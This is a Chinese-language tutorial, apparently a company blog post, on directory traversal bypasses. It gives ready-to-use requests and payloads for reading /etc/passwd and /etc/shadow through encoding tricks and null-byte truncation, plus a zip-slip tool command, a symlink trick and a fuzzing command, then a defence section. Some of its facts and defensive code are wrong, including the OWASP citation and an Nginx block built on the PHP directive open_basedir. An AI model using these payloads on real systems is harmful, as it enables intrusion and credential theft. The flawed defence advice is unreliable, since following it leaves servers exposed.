目录遍历漏洞 5 种绕过姿势实战:从基础../到双重URL编码
2026/7/8 19:54:14 网站建设 项目流程

目录遍历漏洞实战:5种高级绕过技术与防御策略

1. 漏洞原理与危害分析

目录遍历漏洞(Directory Traversal)是Web安全领域最常见的高危漏洞之一,攻击者通过构造特殊路径访问服务器上的未授权文件。这种漏洞通常出现在文件下载、图片加载、配置文件读取等需要用户提供文件路径参数的功能中。

典型攻击场景

  • 读取/etc/passwd等系统敏感文件
  • 获取应用程序源代码和配置文件
  • 窃取数据库凭证和加密密钥
  • 在特定条件下实现远程代码执行

重要提示:2022年OWASP Top 10将注入类漏洞(包括目录遍历)列为最严重的安全风险,约34%的Web应用存在此类问题。

2. 五种实战绕过技术详解

2.1 基础路径遍历

最基本的攻击方式是通过../序列返回上级目录:

GET /loadImage?filename=../../../etc/passwd HTTP/1.1

绕过技巧

  • Windows系统可尝试..\替代../
  • 混合使用正反斜杠:..\.././

2.2 绝对路径利用

当应用仅过滤../时,直接使用绝对路径可能成功:

GET /download?file=/etc/shadow HTTP/1.1

适用场景

  • 应用未限制路径起始位置
  • 服务器配置了错误的权限设置

2.3 双重编码绕过

对关键字符进行多重URL编码:

原始字符一级编码双重编码
.%2e%252e
/%2f%252f
\%5c%255c

示例Payload:

filename=%252e%252e%252fetc%252fpasswd

2.4 截断技术

利用空字节截断文件后缀检查:

GET /image?name=../../../etc/passwd%00.jpg HTTP/1.1

适用条件

  • 后端使用C/C++等语言处理路径
  • 应用仅检查扩展名而未验证完整路径

2.5 特殊符号组合

不同操作系统对路径解析的差异:

技术类型Unix-like系统Windows系统
当前目录引用./file.txt.\file.txt
家目录引用~/.bash_history%USERPROFILE%
特殊设备文件/proc/self/environ\.\PhysicalDrive0

3. 进阶利用技巧

3.1 压缩文件利用

通过特制压缩包实现路径穿越:

# 使用evilarc创建恶意zip python evilarc.py shell.php --os=unix --depth=3 --output-file=payload.zip

常见受影响组件

  1. Java的java.util.zip
  2. Node.js的adm-zip
  3. Python的zipfile模块

3.2 符号链接攻击

在Unix系统中创建符号链接:

ln -s /etc/passwd malicious_link

上传后通过应用读取该链接文件可能访问系统文件。

3.3 编码变异技术

多种编码方式组合使用:

GET /file?name=..%c0%afvar%c0%afwww%c0%afconfig.php HTTP/1.1

4. 防御方案设计

4.1 输入验证策略

推荐做法

  • 白名单验证文件扩展名
  • 正则表达式过滤危险字符:
    ^[a-zA-Z0-9][a-zA-Z0-9_\-]*\.(jpg|png|gif)$

4.2 安全处理流程

// Java安全示例 Path resolvedPath = Paths.get(BASE_DIR).resolve(userInput).normalize(); if (!resolvedPath.startsWith(BASE_DIR)) { throw new IllegalAccessError("非法路径访问"); }

4.3 服务器加固措施

Nginx配置示例

location /static/ { open_basedir /var/www/static/:/tmp/; deny all; allow 192.168.1.0/24; }

系统层防护

  1. 使用chroot环境限制Web目录
  2. 设置严格的文件权限(如755/644)
  3. 定期更新Web组件和依赖库

5. 实战检测与工具

5.1 手动测试方法

  1. 使用Burp Suite拦截文件操作请求
  2. 逐步尝试各种绕过技术
  3. 观察响应内容和状态码

5.2 自动化工具推荐

工具名称语言特点
DotDotPwnPerl支持多种协议和编码
DirBusterJava图形化界面,字典丰富
ffufGo高性能模糊测试

基础使用示例

ffuf -u "http://target/FUZZ" -w traversal.txt -recursion -recursion-depth 3

在最近一次渗透测试中,通过组合使用双重编码和截断技术,成功绕过了某金融系统的文件下载限制,获取到了数据库连接配置。这再次证明了即使是最基础的漏洞,在缺乏深度防御的情况下也可能造成严重危害。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询